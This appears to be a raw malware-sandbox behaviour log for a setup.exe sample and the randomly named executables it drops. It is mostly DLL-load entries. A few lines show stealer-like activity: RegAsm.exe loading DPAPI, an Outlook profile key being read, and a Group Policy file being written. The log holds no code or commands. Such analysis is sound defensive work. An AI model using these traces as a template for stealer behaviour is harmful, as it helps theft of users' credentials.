Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\alXewrRe7Pi_SQbFkI0y1vcR.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Section loaded: mscorjit.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Section loaded: mscorjit.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Section loaded: winmm.dll
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Section loaded: powrprof.dll
Source: C:\Users\user\Documents\SimpleAdobe\yTXn1eeuAPe6JeFa5Kfn6hMY.exe Section loaded: umpdc.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: acgenral.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: winmm.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: samcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: msacm32.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: dwmapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: winmmbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: winmmbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: aclayers.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: sfc.dll
Source: C:\Users\user\Documents\SimpleAdobe\kUJOpvLlbhqCDkTlllfRFIPb.exe Section loaded: sfc_os.dll
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\4Q6k8SlqG7M24bYO3UgMWICf.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msvcp140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windowscodecs.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{EA502722-A23D-11D1-A7D3-0000F87571E3}\InProcServer32 Jump to behavior
Source: PowerExpertNT.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\PowerExpertNT\PowerExpertNT.exe
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File written: C:\Windows\System32\GroupPolicy\gpt.ini Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Window found: window name: TMainForm
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: 1719859269.0326595_setup.exe Static PE information: Virtual size of .text is bigger than: 0x100000
Source: 1719859269.0326595_setup.exe Static PE information: Image base 0x140000000 > 0x60000000
Source: 1719859269.0326595_setup.exe Static file information: File size 4569908 > 1048576
